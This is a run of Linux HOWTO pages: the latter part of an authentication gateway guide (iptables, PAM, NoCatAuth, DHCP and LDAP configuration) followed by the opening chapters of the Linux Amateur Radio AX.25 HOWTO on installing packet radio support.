   # CONFIG_IP_PNP is not set
   # CONFIG_NET_IPIP is not set
   # CONFIG_NET_IPGRE is not set
   # CONFIG_IP_MROUTE is not set
   # CONFIG_INET_ECN is not set
   # CONFIG_SYN_COOKIES is not set

   #   IP: Netfilter Configuration
   #
   CONFIG_IP_NF_CONNTRACK=y
   CONFIG_IP_NF_FTP=y
   CONFIG_IP_NF_IPTABLES=y
   CONFIG_IP_NF_MATCH_LIMIT=y
   CONFIG_IP_NF_MATCH_MAC=y
   CONFIG_IP_NF_MATCH_MARK=y
   CONFIG_IP_NF_MATCH_MULTIPORT=y
   CONFIG_IP_NF_MATCH_TOS=y
   CONFIG_IP_NF_MATCH_TCPMSS=y
   CONFIG_IP_NF_MATCH_STATE=y
   CONFIG_IP_NF_MATCH_UNCLEAN=y
   CONFIG_IP_NF_MATCH_OWNER=y
   CONFIG_IP_NF_FILTER=y
   CONFIG_IP_NF_TARGET_REJECT=y
   CONFIG_IP_NF_TARGET_MIRROR=y
   CONFIG_IP_NF_NAT=y
   CONFIG_IP_NF_NAT_NEEDED=y
   CONFIG_IP_NF_TARGET_MASQUERADE=y
   CONFIG_IP_NF_TARGET_REDIRECT=y
   CONFIG_IP_NF_NAT_FTP=y
   CONFIG_IP_NF_MANGLE=y
   CONFIG_IP_NF_TARGET_TOS=y
   CONFIG_IP_NF_TARGET_MARK=y
   CONFIG_IP_NF_TARGET_LOG=y
   CONFIG_IP_NF_TARGET_TCPMSS=y

Once netfilter has been configured, turn on IP forwarding by executing this command.

   echo 1 > /proc/sys/net/ipv4/ip_forward

To make sure ip forwarding is enabled when the machine restarts add the following line to /etc/sysctl.conf.

   net.ipv4.ip_forward = 1

If NocatAuth is being used, you can skip to the NoCatAuth gateway setup section.

iptables needs to be installed. To install iptables either use a package from your distribution or install from source. Once the above options were compiled in the new kernel and iptables was installed, I set the following default firewall rules.

   iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
   iptables -A INPUT -i eth0 -m state --state NEW, INVALID -j DROP
   iptables -A FORWARD -i eth0 -m state --state NEW, INVALID -j DROP
   iptables -I FORWARD -o eth0 -j DROP
   iptables -I FORWARD -s 10.0.1.0/24 -d 10.0.1.1 -j ACCEPT

The above commands can also be put in an initscript to start up when the server restarts. To make sure the rules have been added issue the following commands:

   iptables -v -t nat -L
   iptables -v -t filter -L

To save these rules I used Red Hat's init scripts.

   /etc/init.d/iptables save
   /etc/init.d/iptables restart

Now the gateway box will be able to do network address translation (NAT), but it will drop all forwarding packets except those coming from within the public network and bound for the gateway.

3.2. Dynamic Netfilter rules.

This section describes how to setup the software needed to dynamically insert and remove Netfilter rules on the gateway.

3.2.1. PAM iptables Module

The PAM session module that inserts the firewall rules is needed to allow forwarding for the authenticated client. To set it up simply get the source and compile it by running the following commands.

     gcc -fPIC -c pam_iptables.c
     ld -x --shared -o pam_iptables.so pam_iptables.o

You should now have two binaries called pam_iptables.so and pam_iptables.o. Copy pam_iptables.so to /lib/security/pam_iptables.so.

     cp pam_iptables.so /lib/security/pam_iptables.so

Now install the firewall script to /usr/local/auth-gw.

     mkdir /usr/local/auth-gw
     cp insFwall /usr/local/auth-gw

The chosen authentication client for the gateway was ssh so we added the following line to /etc/pam.d/sshd.

     session    required     /lib/security/pam_iptables.so

Now, when a user logs in with ssh, the firewall rule will be added.

To test if the pam_iptables module is working perform the following steps:

  1. Log into the box with ssh.

  2. Check to see if the rule was added with the command iptables -L -v.

  3. Log out of the box to make sure the rule is removed.

3.2.2. NoCatAuth gateway

This section describes the process of setting up the NocatAuth gateway. To setup NocatAuth get the source and install with the following steps.

Make sure gpgv is installed. gpgv is a PGP signature verifier. It is part of gnupg and can be found at http://www.gnupg.org/download.html.

Unpack the NocatAuth tar file.
     tar xvzf NocatAuth-x.xx.tar.gz

If you do not want NoCatAuth to be in the directory /usr/local/nocat, edit the Makefile and change INST_PATH to the directory you would like NoCatAuth to reside.

Next build the gateway.
     cd NoCatAuth-x.xx
     make gateway

Edit the /usr/local/nocat.conf file. Please see the INSTALL documentation for details on what is required in the conf file. An example conf file looks like the following:

     ###### gateway.conf -- NoCatAuth Gateway Configuration.
     #
     # Format of this file is: Directive Value, one per
     # line. Trailing and leading whitespace is ignored. Any
     # line beginning with a punctuation character is assumed to
     # be a comment.

     Verbosity       10
     #we are behind a NAT so put the gateway in passive mode
     GatewayMode     Passive
     GatewayLog      /usr/local/nocat/nocat.log
     LoginTimeout    300

     ######Open Portal settings.
     HomePage        http://www.itlab.musc.edu/
     DocumentRoot    /usr/local/nocat/htdocs
     SplashForm      splash.html
     ###### Active/Passive Portal settings.
     TrustedGroups Any
     AuthServiceAddr egon.itlab.musc.edu
     AuthServiceURL  https://$AuthServiceAddr/cgi-bin/login
     LogoutURL       https://$AuthServiceAddr/forms/logout.html
     ###### Other Common Gateway Options.
     AllowedWebHosts egon.itlab.musc.edu
     ResetCmd        initialize.fw
     PermitCmd       access.fw permit $MAC $IP $Class
     DenyCmd         access.fw deny $MAC $IP $Class

Now you should be able to start the gateway. If any problems occur, please see the INSTALL documentation in the unpacked NoCatAuth directory. The following command will start the gateway:
     /usr/local/nocat/bin/gateway

3.3. DHCP Server Setup

I installed DHCP using the following dhcpd.conf file.

   subnet 10.0.1.0 netmask 255.255.255.0 {
   # --- default gateway
        option routers                  10.0.1.1;
        option subnet-mask              255.255.255.0;
        option broadcast-address        10.0.1.255;

        option domain-name-servers       10.0.1.1;
        range   10.0.1.3 10.0.1.254;
        option time-offset              -5;     # Eastern Standard Time

        default-lease-time 21600;
        max-lease-time 43200;

    }

The server was then run using eth1 , the interface to the public net.

    /usr/sbin/dhcpd eth1

3.4. Authentication Method Setup

Authentication with PAM and a NoCatAuth authentication service is described. Both examples are done with LDAP. Other means of authentication besides LDAP can be used. Please read the documentation for PAM and NoCatAuth to find the steps to use another authentication source.

3.4.1. PAM LDAP

As indicated in previous sections, I've set this gateway up to use LDAP for authenticating. However, you can use any means that PAM allows for authentication. See Section 2.4 for more information.

In order to get PAM LDAP to authenticate, I installed OpenLDAP and configured it with the following in /etc/ldap.conf.

     # Your LDAP server. Must be resolvable without using LDAP.
     host itc.musc.edu

     # The distinguished name of the search base.
     base dc=musc,dc=edu
     ssl no

The following files were used to configure PAM to do the LDAP authentication. These files were generated by Red Hat's configuration utility.

/etc/pam.d/system-auth was created and looked like this.

      #%PAM-1.0
      # This file is auto-generated.
      # User changes will be destroyed the next time authconfig is run.
      auth        required      /lib/security/pam_env.so
      auth        sufficient    /lib/security/pam_unix.so likeauth nullok
      auth        sufficient    /lib/security/pam_ldap.so use_first_pass
      auth        required      /lib/security/pam_deny.so

      account     required      /lib/security/pam_unix.so
      account     [default=ok user_unknown=ignore service_err=ignore system_err=ignore] /lib/security/pam_ldap.so

      password    required      /lib/security/pam_cracklib.so retry=3
      password    sufficient    /lib/security/pam_unix.so nullok use_authtok
      password    sufficient    /lib/security/pam_ldap.so use_authtok
      password    required      /lib/security/pam_deny.so

      session     required      /lib/security/pam_limits.so
      session     required      /lib/security/pam_unix.so
      session     optional      /lib/security/pam_ldap.so

Then the following /etc/pam.d/sshd file was created.

       #%PAM-1.0
       auth       required     /lib/security/pam_stack.so service=system-auth
       auth       required     /lib/security/pam_nologin.so
       account    required     /lib/security/pam_stack.so service=system-auth
       password   required     /lib/security/pam_stack.so service=system-auth
       session    required     /lib/security/pam_stack.so service=system-auth
       #this line is added for firewall rule insertion upon login
       session    required     /lib/security/pam_iptables.so debug
       session    optional     /lib/security/pam_console.so

3.4.2. NoCatAuth Service

It is recommended to install the NoCatAuth Service on another server besides the gateway. A seperate server was used in my examples. In order to setup a NoCatAuth Service, you will need the following software:

  1. An SSL enabled webserver, preferably with a registered SSL cert. I used Apache + mod_ssl.

  2. Perl 5 (5.6 or better recommended)

  3. Net::LDAP, Digest::MD5, DBI, and DBD::MySQL perl modules (get them from CPAN) The module you need depends on what authentication source you are going to use. In my example Net::LDAP is used as the authentication means.

  4. Gnu Privacy Guard (gnupg 1.0.6 or better), available at http://www.gnupg.org/download.html

To install unpack the tar file.
    $ tar zvxf NoCatAuth-x.xx.tar.gz

If you would like to change the path that NoCatAuth resides , edit the Makefile and change INST_PATH to the desired directory.

Next run the command: make authserv This installs everything in /usr/local/nocat or what you changed INST_PATH to.

Then run make pgpkey The defaults should be fine for most purposes. IMPORTANT: do NOT enter a passphrase! Otherwise, you will get strange messages when the auth service attempts to encrypt messages, and tries to read your passphrase from a non-existent tty

Edit /usr/local/nocat/nocat.conf to fit your situation. Here is an example:
    ###### authserv.conf -- NoCatAuth Authentication Service Configuration.
    #
    # Format of this file is: Directive Value, one per
    #   line. Trailing and leading whitespace is ignored. Any
    #   line beginning with a punctuation character is assumed to
    #   be a comment.

    Verbosity       10
    HomePage        http://www.itlab.musc.edu/
    DocumentRoot    /usr/local/nocat/htdocs
    # LDAP source
    DataSource LDAP
    LDAPHost authldap.musc.edu
    LDAPBase dc=musc,dc=edu

    UserTable       Member
    UserIDField     User
    UserPasswdField Pass
    UserAuthField   Status
    UserStampField  Created

    GroupTable      Network
    GroupIDField    Network
    GroupAdminField Admin
    MinPasswdLength 8

    # LocalGateway -- If you run auth service on the same subnet
    #   (or host) as the gateway you need to specify the hostname
    #   of the gateway. Otherwise omit it.  (Requires Net::Netmask)
    #
    # LocalGateway    192.168.1.7

    LoginForm       login.html
    LoginOKForm     login_ok.html
    FatalForm       fatal.html
    ExpiredForm     expired.html
    RenewForm       renew.html
    PassiveRenewForm renew_pasv.html
    RegisterForm    register.html
    RegisterOKForm  register_ok.html
    RegisterFields  Name URL Description

    UpdateForm      update.html
    UpdateFields    URL Description

    ###### Auth service user messages. Should be self-explanatory.
    #
    LoginGreeting   Greetings! Welcome to the Medical University of SC's Network.
    LoginMissing    Please fill in all fields!
    LoginBadUser    That e-mail address is unknown. Please try again.
    LoginBadPass    That e-mail and password do not match. Please try again.
    LoginBadStatus  Sorry, you are not a registered co-op member.

    RegisterGreeting    Welcome! Please enter the following information to register.RegisterMissing     Name, E-mail, and password fields must be filled in.
    RegisterUserExists  Sorry, that e-mail address is already taken. Are you already registered?
    RegisterBadUser     The e-mail address provided appears to be invalid. Did you spell it correctly?
    RegisterInvalidPass All passwords must be at least six characters long.
    RegisterPassNoMatch The passwords you provided do not match. Please try again.
    RegisterSuccess     Congratulations, you have successfully registered.

    UpdateGreeting      Enter your E-mail and password to update your info.
    UpdateBadUser       That e-mail address is unknown. Please try again.
    UpdateBadPass       That e-mail and password do not match. Please try again.
    UpdateInvalidPass   New passwords must be at least eight characters long.
    UpdatePassNoMatch   The new passwords you provided do not match. Please try again.
    UpdateSuccess       Congratulations, you have successfully updated your account.

Make sure /usr/local/nocat/pgp is owned by the web server user. (ie..nobody or www-data)

Add etc/authserv.conf to your apache httpd.conf file.
 Include /usr/local/nocat/etc/authserv.conf

Copy your /usr/local/nocat/trustedkeys.pgp to the gateway. Restart apache and try it out. Please see the NoCatAuth documentation for more information. It can be found in docs/ in the unpacked NoCatAuth directory.

3.5. DNS Setup

I installed the default version of Bind that comes with Red Hat 7.1, and the caching-nameserver RPM. The DHCP server tells the machines on the public net to use the gateway box as their nameserver.

Prev | Home | Next
What is needed |  | Using the authentication gateway


Using the authentication gateway

Authentication Gateway HOWTO
Prev Next

4. Using the authentication gateway

To use the authentication gateway, configure your client machine to use DHCP. Install a ssh client on the box and ssh into the gateway. Once you are logged in, you will have access to the internal network. The following is an example session from a unix based client:

 bash>ssh zornnh@10.0.1.1
 zornnh's Password:

 gateway>

As long as you stayed logged in, you will have access. Once you log out, access will be taken away.

To use the authentication gateway with NoCatAuth installed, configure your client machine to use DHCP. Install a web browser such as Mozilla. Start up the web browser. The browser should be redirected to the authentication screen. Submit your username and password and a screen will pop up explaining that you are authenticated to the network and to keep the window open to remain authenticated. Click logout or close the window to end the session.

Prev | Home | Next
Setting up the Gateway Services |  | Concluding Remarks


Linux Amateur Radio AX.25 HOWTO

Jeff Tranter, VE3ICH

tranter@pobox.com

v2.0, 19 September 2001

The Linux operating system is perhaps the only operating system in the world that can boast native and standard support for the AX.25 packet radio protocol utilized by Amateur Radio operators worldwide. This document describes how to install and configure this support.

Table of Contents
1. Introduction
1.1. Changes from the previous version
1.2. Where to obtain new versions of this document
1.3. Other related documentation
2. The Packet Radio Protocols and Linux
2.1. How it all fits together
3. The AX.25/NET/ROM/ROSE software components
3.1. Finding the kernel, tools and utility packages
4. Installing the AX.25/NET/ROM/ROSE software
4.1. Compiling the kernel
4.2. The AX.25 library, tools, and application programs
5. A note on callsigns, addresses and things before we start
5.1. What are all those T1, T2, N2 and things ?
5.2. Run time configurable parameters
6. Configuring an AX.25 port
6.1. Creating the AX.25 network device
6.2. Creating the /etc/ax25/axports file
6.3. Configuring AX.25 routing
7. Configuring an AX.25 interface for TCP/IP
8. Configuring a NET/ROM port
8.1. Configuring /etc/ax25/nrports
8.2. Configuring /etc/ax25/nrbroadcast
8.3. Creating the NET/ROM Network device
8.4. Starting the NET/ROM daemon
8.5. Configuring NET/ROM routing.
9. Configuring a NET/ROM interface for TCP/IP
10. Configuring a ROSE port
10.1. Configuring /etc/ax25/rsports
10.2. Creating the ROSE Network device
10.3. Configuring ROSE Routing
11. Making AX.25/NET/ROM/ROSE calls
12. Configuring Linux to accept Packet connections
12.1. Creating the /etc/ax25/ax25d.conf file
12.2. A simple example ax25d.conf file
12.3. Starting ax25d
13. Configuring the node software
13.1. Creating the /etc/ax25/node.conf file
13.2. Creating the /etc/ax25/node.perms file
13.3. Configuring node to run from ax25d
13.4. Configuring node to run from inetd
14. Configuring axspawn
14.1. Creating the /etc/ax25/axspawn.conf file
15. Configuring the pms
15.1. Create the /etc/ax25/pms.motd file
15.2. Create the /etc/ax25/pms.info file
15.3. Associate AX.25 callsigns with system users
15.4. Add the PMS to the /etc/ax25/ax25d.conf file
15.5. Test the PMS
16. Configuring the user_call programs
17. Configuring the ROSE Uplink and Downlink commands
17.1. Configuring a ROSE downlink
17.2. Configuring a ROSE uplink
18. Associating AX.25 callsigns with Linux users
19. Configuring APRS
20. The /proc/ file system entries
21. AX.25, NET/ROM, ROSE network programming
21.1. The address families
21.2. The header files
21.3. Callsign mangling and examples
22. Some sample configurations
22.1. Small Ethernet LAN with Linux as a router to Radio LAN
22.2. IPIP encapsulated gateway configuration
22.3. AXIP encapsulated gateway configuration
22.4. Linking NOS and Linux using a pipe device
23. Summary of AX.25-related Linux commands
24. Where do I find more information about .... ?
24.1. Packet Radio
24.2. Protocol Documentation
24.3. Hardware Documentation
24.4. Linux Ham Radio Software
25. Discussion relating to Amateur Radio and Linux
26. Acknowledgements
27. Feedback
28. Distribution Policy
Next
Introduction


Introduction

Linux Amateur Radio AX.25 HOWTO
Prev Next

1. Introduction

Amateur radio is a non-profit, non-commercial activity enjoyed by hobbyists world-wide. Radio amateurs are licensed by government authorities to use portions of the radio spectrum allocated to them for non-commercial, non-profit activities including personal communication, public service, and technical experimentation. Packet Radio is a particular digital mode of communication that makes use of networking protocols to provide computer to computer communication.

This document was originally an appendix to the HAM-HOWTO, but grew too large to be reasonably managed in that fashion. This document describes how to install and configure the native AX.25, NET/ROM and ROSE support for Linux. A few typical configurations are described that could be used as models to work from.

The Linux implementation of the amateur radio protocols is very flexible. To people relatively unfamiliar with the Linux operating system the configuration process may look daunting and complicated. It will take you a little time to come to understand how the whole thing fits together. You will find configuration very difficult if you have not properly prepared yourself by learning about Linux in general. You cannot expect to switch from some other environment to Linux without learning about Linux itself.

1.1. Changes from the previous version

  • Document has a new maintainer.

  • Converted to DocBook SGML format. Converted most tabular information to use tables.

  • Released under GNU FDL license.

  • Added information on new drivers for Baycom, YAM, 6PACK, and user mode soundmodem.

  • Added APRS section.

  • Many miscellaneous updates to reflect changes since document was last updated in 1997. There are likely still many errors or outdated information.

1.2. Where to obtain new versions of this document

The best place to obtain the latest version of this document is from a Linux Documentation Project archive. The Linux Documentation Project runs a web server and this document appears there as the AX25-HOWTO. This document is also available in various formats from the Linux Documentation Project.

You can always contact me, but I pass new versions of the document directly to the LDP HOWTO coordinator, so if it isn't there then chances are I haven't finished it.

1.3. Other related documentation

There is a lot of related documentation. There are many documents that relate to Linux networking in more general ways and I strongly recommend you also read these as they will assist you in your efforts and provide you with deeper insight into other possible configurations. They are:

  • Linux Networking HOWTO

  • Linux Ethernet HOWTO

  • Linux Firewall and Proxy Server HOWTO

  • Linux 2.4 Advanced Routing HOWTO

  • Netrom-Node mini-Howto

You may come across references to a Linux HAM HOWTO. This document is obsolete and has been replaced by the Hamsoft Linux Ham Radio Applications and Utilities Database web site. More general Linux information may be found by referencing other Linux HOWTO documents.

Prev | Home | Next
Linux Amateur Radio AX.25 HOWTO |  | The Packet Radio Protocols and Linux


The Packet Radio Protocols and Linux

Linux Amateur Radio AX.25 HOWTO
Prev Next

2. The Packet Radio Protocols and Linux

The AX.25 protocol offers both connected and connectionless modes of operation, and is used either by itself for point-point links, or to carry other protocols such as TCP/IP and NET/ROM.

It is similar to X.25 level 2 in structure, with some extensions to make it more useful in the amateur radio environment.

The NET/ROM protocol is an attempt at a full network protocol and uses AX.25 at its lowest layer as a datalink protocol. It provides a network layer that is an adapted form of AX.25. The NET/ROM protocol features dynamic routing and node aliases.

The ROSE protocol was conceived and first implemented by Tom Moulton W2VY and is an implementation of the X.25 packet layer protocol and is designed to operate with AX.25 as its datalink layer protocol. It too provides a network layer. ROSE addresses take the form of 10 digit numbers. The first four digits are called the Data Network Identification Code (DNIC) and are taken from Appendix B of the CCITT X.121 recommendation. More information on the ROSE protocol may be obtained from the RATS Web server.

Alan Cox developed some early kernel based AX.25 software support for Linux. Jonathon Naylor has taken up ongoing development of the code, has added NET/ROM and ROSE support and is now the developer of the AX.25 related kernel code. DAMA support was developed by Joerg, DL1BKE. Baycom and Soundmodem support were added by Thomas Sailer. The AX.25 software is now maintained by a small team of developers on SourceForge.

The Linux code supports KISS and 6PACK based TNC's (Terminal Node Controllers), the Ottawa PI card, the Gracilis PacketTwin card and other Z8530 SCC based cards with the generic SCC driver, several parallel and serial port Baycom modems, and serial port YAM modems. Thomas Sailer's kernel soundmodem driver supports SoundBlaster and sound cards based on the Crystal chip set, and his newer user-mode soundmodem uses the standard kernel sound drivers, so it should work with any sound card supported under Linux.

The user programs contain a simple PMS (Personal Message System), a beacon facility, a line mode connect program, listen (an example of how to capture all AX.25 frames at raw interface level), and programs to configure the NET/ROM protocol. Also included are an AX.25 server style program to handle and dispatch incoming AX.25 connections and a NET/ROM daemon which does most of the hard work for NET/ROM support.

There are utility programs to support APRS, including digipeating and gatewaying to the Internet.

2.1. How it all fits together

The Linux AX.25 implementation is a brand new implementation. While in many ways it may looks similar to NOS, or BPQ or other AX.25 implementations, it is none of these and is not identical to any of them. The Linux AX.25 implementation is capable of being configured to behave almost identically to other implementations, but the configuration process is very different.

To assist you in understanding how you need to think when configuring this section describes some of the structural features of the AX.25 implementation and how it fits into the context of the overall Linux structure.

Simplified Protocol Layering Diagram
 _____________________________________________
|         |           |             |         |
| AF_AX25 | AF_NETROM |  AF_INET    | AF_ROSE |
|=========|===========|=============|=========|
|         |           |             |         |
|         |           |    TCP/IP   |         |
|         |           |________     |         |
|         |   NET/ROM          |    | ROSE    |
|         |____________________|____|_________|
|            AX.25                            |
|_____________________________________________|

This diagram simply illustrates that NET/ROM, ROSE and TCP/IP all run directly on top of AX.25, but that each of these protocols is treated as a separate protocol at the programming interface. The `_' names are simply the names given to the `Address Family' of each of these protocols when writing programs to use them. The important thing to note here is the implicit dependence on the configuration of your AX.25 devices before you can configure your NET/ROM, ROSE or TCP/IP devices.

Software Module Diagram of Linux Network Implementation
 ___________________________________________________________________________
|         |           |                       ||          |                 |
| User    | Programs  |   call        node    ||  Daemons | ax25d  mheardd  |
|         |           |   pms         mheard  ||          | inetd  netromd  |
|_________|___________|_______________________||__________|_________________|
|         | Sockets   |open(), close(), listen(), read(), write(), connect()|
|         |           |_____________________________________________________|
|         |           |   AF_AX25   |  AF_NETROM  |   AF_ROSE   |  AF_INET  |
|         |___________|_____________|_____________|_____________|___________|
|Kernel   | Protocols |   AX.25     |   NetRom    |     ROSE    | IP/TCP/UDP|
|         |___________|_____________|_____________|_____________|___________|
|         | Devices   |   ax0,ax1   |  nr0,nr1    | rose0,rose1 | eth0,ppp0 |
|         |___________|_____________|_____________|_____________|___________|
|         | Drivers   | Kiss   PI2   PacketTwin   SCC   BPQ     | slip ppp  |
|         |           |     Soundmodem      Baycom              | ethernet  |
|_________|___________|_________________________________________|___________|
|Hardware | PI2 Card, PacketTwin Card, SCC card, Serial port, Ethernet Card |
|_________|_________________________________________________________________|

This diagram is a little more general than the first. This diagram attempts to show the relationship between user applications, the kernel and the hardware. It also shows the relationship between the Socket application programming interface, the actual protocol modules, the kernel networking devices and the device drivers. Anything in this diagram is dependent on anything underneath it, and in general you must configure from the bottom of the diagram upwards. So for example, if you want to run the call program you must also configure the hardware, then ensure that the kernel has the appropriate device driver, that you create the appropriate network device, that the kernel includes the desired protocol that presents a programming interface that the call program can use. I have attempted to lay out this document in roughly that order.

Prev | Home | Next
Introduction |  | The AX.25/NET/ROM/ROSE software components


The AX.25/NET/ROM/ROSE software components

Linux Amateur Radio AX.25 HOWTO
Prev Next

3. The AX.25/NET/ROM/ROSE software components

The AX.25 software is comprised of three components: the kernel source, the network configuration tools and the utility programs.

AX.25 support in the Linux kernel has been fairly stable since the 2.2 series of kernel versions. This document assumes you are using the most recent kernel, which as the time of writing was 2.4.9.

Note

Software versions listed in this document were the latest at the time of writing, but are subject to change. Check for newer versions when downloading them.

3.1. Finding the kernel, tools and utility packages

3.1.1. The kernel source

The kernel source can be found at www.kernel.org and ftp.kernel.org. For the 2.4.9 kernel it would be downloaded from ftp://ftp.kernel.org/pub/linux/kernel/v2.4/linux-2.4.9.tar.gz.

3.1.2. The network tools

The latest release of the standard Linux network tools support AX.25 and NET/ROM and can be found at http://www.tazenda.demon.co.uk/phil/net-tools.

The latest ipchains package can be found at http://netfilter.filewatcher.org/ipchains.

Note

It is usually not necessary to download and install these as any recent Linux distribution should include them.

3.1.3. The AX.25 utilities

The old ax25-utils used with the 2.0 and 2.1 kernels is now obsolete and has been replaced with new packages hosted on SourceForge at http://sourceforge.net/projects/hams.

The software is distributed as three packages: the AX.25 library, tools, and applications. At the time of writing the most recent versions were the following:

  • ftp://hams.sourceforge.net/pub/hams/ax25/libax25-0.0.7.tar.gz

  • ftp://hams.sourceforge.net/pub/hams/ax25/ax25-tools-0.0.6.tar.gz

  • ftp://hams.sourceforge.net/pub/hams/ax25/ax25-apps-0.0.4.tar.gz

3.1.4. The APRS utilities

If you want to use APRS you can download aprsd and aprsdigi:

  • http://prdownloads.sourceforge.net/aprsd/aprsd-2.1.4.tar.gz

  • http://www.users.cloud9.net/~alan/ham/aprs/aprsdigi-2.0-pre3.tar.gz

Prev | Home | Next
The Packet Radio Protocols and Linux |  | Installing the AX.25/NET/ROM/ROSE software


Installing the AX.25/NET/ROM/ROSE software

Linux Amateur Radio AX.25 HOWTO
Prev Next

4. Installing the AX.25/NET/ROM/ROSE software

To successfully install AX.25 support on your Linux system you must configure and install an appropriate kernel and then install the AX.25 utilities.

Tip

Rather than building and installing from source, you may prefer to install prebuilt binary packages for your system. Debian and RPM format packages are available on various archive sites including http://www.debian.org and http://rpmfind.net; look for "ax25". Incidently, the Debian Linux distribution is considered by many people to be one of the more "Amateur Radio friendly" distributions, and provides many amateur radio applications as Debian packages (one of the founders of the project is a ham).

4.1. Compiling the kernel

If you are already familiar with the process of compiling the Linux kernel then you can skip this section, just be sure to select the appropriate options when compiling the kernel. If you are not, then read on. You may also want to read the Linux Kernel HOWTO.

The normal place for the kernel source to be unpacked to is the /usr/src directory into a subdirectory called linux. To do this you should be logged in as root and execute a series of commands similar to the following:

# cd /usr/src
# mv linux linux.old
# tar xzvf linux-2.4.9.tar.gz
# cd linux

After you have unpacked the kernel source, you need to run the configuration script and choose the options that suit your hardware configuration and the options that you wish built into your kernel. You do this by using the command:

# make menuconfig

If you are running X you can get a graphical interface using:

# make xconfig

You might also try:

# make config

I'm going to describe the full screen method (menuconfig) because it is easier to move around, but use whichever you are most comfortable with.

In either case you will be offered a range of options at which you must answer `Y' or `N'. (Note you may also answer `M' if you are using modules. For the sake of simplicity I will assume you are not, please make appropriate modifications if you are).

The options most relevant to an AX.25 configuration are:

Code maturity level options  --->
    [*] Prompt for development and/or incomplete code/drivers
    ...
General setup  --->
    ...
    [*] Networking support
    ...
Networking options  --->
    <*> UNIX domain sockets
    ...
    [*] TCP/IP networking
    ...
    [?] IP: tunneling
    ...
Amateur Radio Support --->
    --- Packet Radio protocols
    [*]   Amateur Radio AX.25 Level 2 protocol
    [?]     AX.25 DAMA Slave support
    [?]     Amateur Radio NET/ROM protocol
    [?]     Amateur Radio X.25 PLP (Rose)
    AX.25 network device drivers  --->
    <?> Serial port KISS driver
    <?> Serial port 6PACK driver
    <?> BPQ Ethernet driver
    <?> High-speed (DMA) SCC driver for AX.25
    <?> Z8530 SCC driver
    <?> BAYCOM ser12 fullduplex driver for AX.25
    <?> BAYCOM ser12 halfduplex driver for AX.25
    <?> BAYCOM picpar and par96 driver for AX.25
    <?> BAYCOM epp driver for AX.25
    <?> Soundcard modem driver
    [?]   soundmodem support for Soundblaster and compatible cards
    [?]   soundmodem support for WSS and Crystal cards
    [?]   soundmodem support for 1200 baud AFSK modulation
    [?]   soundmodem support for 2400 baud AFSK modulation (7.3728MHz crystal)
    [?]   soundmodem support for 2400 baud AFSK modulation (8MHz crystal)
    [?]   soundmodem support for 2666 baud AFSK modulation
    [?]   soundmodem support for 4800 baud HAPN-1 modulation
    [?]   soundmodem support for 4800 baud PSK modulation
    [?]   soundmodem support for 9600 baud FSK G3RUH modulation
    <?> YAM driver for AX.25

The options I have flagged with a `*' are those that you must must answer `Y' to. The rest are dependent on what hardware you have and what other options you want to include. Some of these options are described in more detail later on, so if you don't know what you want yet, then read ahead and come back to this step later.

After you have completed the kernel configuration you should be able to cleanly compile your new kernel:

# make dep
# make clean
# make zImage

Make sure you move your arch/i386/boot/zImage file wherever you want it and then edit your /etc/lilo.conf file and rerun lilo to ensure that you actually boot from it.

4.1.1. A word about kernel modules

Compiling drivers as modules is useful if you only use AX.25 occasionally and want to be able to load and unload them on demand to save system resources. However, some people have problems getting the modularized drivers working because they are more complicated to configure. If you've chosen to compile any drivers as modules, then you'll also need to run the commands:

# make modules
# make modules_install

to install your modules in the appropriate location.

You will also need to add some entries into your /etc/modules.conf file to ensure that the kerneld program knows how to locate the kernel modules. You should add/modify the following:

alias net-pf-3     ax25
alias net-pf-6     netrom
alias net-pf-11    rose
alias tty-ldisc-1  slip
alias tty-ldisc-3  ppp
alias tty-ldisc-5  mkiss
alias bc0          baycom
alias nr0          netrom
alias pi0a         pi2
alias pt0a         pt
alias scc0         optoscc    (or one of the other scc drivers)
alias sm0          soundmodem
alias tunl0        newtunnel
alias char-major-4 serial
alias char-major-5 serial
alias char-major-6 lp

Tip

On Debian-based Linux systems these entries should go into the file /etc/modutils/aliases and then you need to run /sbin/update-mpodules.

4.2. The AX.25 library, tools, and application programs

After you have successfully compiled and booted your new kernel you need to compile and install the ax25 library, tools, and application programs.

To compile and install libax25 you should use a series of commands similar to the following:

# cd /usr/src
# tar xzvf libax25-0.0.7.tar.gz
# cd libax25-0.0.7
# ./configure --exec_prefix=/usr --sysconfdir=/etc --localstatedir=/var
# make
# make install

Tip

The arguments to the configure command ensure that the files will be installed in the "standard" places under the directory /usr in subdirectories bin, sbin, etc and man. If you simply run configure with no options it will default to putting all files under /usr/local. This can cause the situation where you have configuration files in both /usr and /usr/local. If you want to ensure that this can't happen you can make /usr/local/etc/ax25 a symbolic link to /etc/ax25 at the very beginning of the install process and then you won't have to worry about it.

If this is a first time installation, that is you've never installed any ax25 code on your machine before, you should also use the:

# make installconf

command to install some sample configuration files into the /etc/ax25/ directory from which to work.

You can now build install the AX.25 tools in a similar fashion:

# cd /usr/src
# tar xzvf ax25-tools-0.0.6.tar.gz
# cd ax25-tools-0.0.6
# ./configure --prefix=/usr  --sysconfdir=/etc --localstatedir=/var
# make
# make install
# make installconf (if you want to install the configuration files)

And finally you can install the AX.25 applications:

# cd /usr/src
# tar xzvf ax25-apps-0.0.4.tar.gz
# cd ax25-apps-0.0.4
# ./configure --prefix=/usr  --sysconfdir=/etc --localstatedir=/var
# make
# make install
# make installconf (if you want to install the configuration files)

If you get messages something like:

gcc -Wall -Wstrict-prototypes -O2 -I../lib -c call.c
call.c: In function `statline':
call.c:268: warning: implicit declaration of function `attron'
call.c:268: `A_REVERSE' undeclared (first use this function)
call.c:268: (Each undeclared identifier is reported only once
call.c:268: for each function it appears in.)

then you should double check that you have the ncurses package properly installed on your system. The configuration script attempts to locate your package in the common locations, but some installations have it badly installed and it is unable to locate them.

Prev | Home | Next
The AX.25/NET/ROM/ROSE software components |  | A note on callsigns, addresses and things before we start


A note on callsigns, addresses and things before we start

Linux Amateur Radio AX.25 HOWTO
Prev Next

5. A note on callsigns, addresses and things before we start

Each AX.25 and NET/ROM port on your system must have a callsign/ssid allocated to it. These are configured in the configuration files that will be described in detail later on.

Some AX.25 implementations such as NOS and BPQ will allow you to configure the same callsign/ssid on each AX.25 and NET/ROM port. For somewhat complicated technical reasons Linux does not allow this. This isn't as big a problem in practice as it might seem.

This means that there are things you should be aware of and take into consideration when doing your configurations.

  1. Each AX.25 and NET/ROM port must be configured with a unique callsign/ssid.

  2. TCP/IP will use the callsign/ssid of the AX.25 port it is being transmitted or received by, ie the one you configured for the AX.25 interface in point 1.

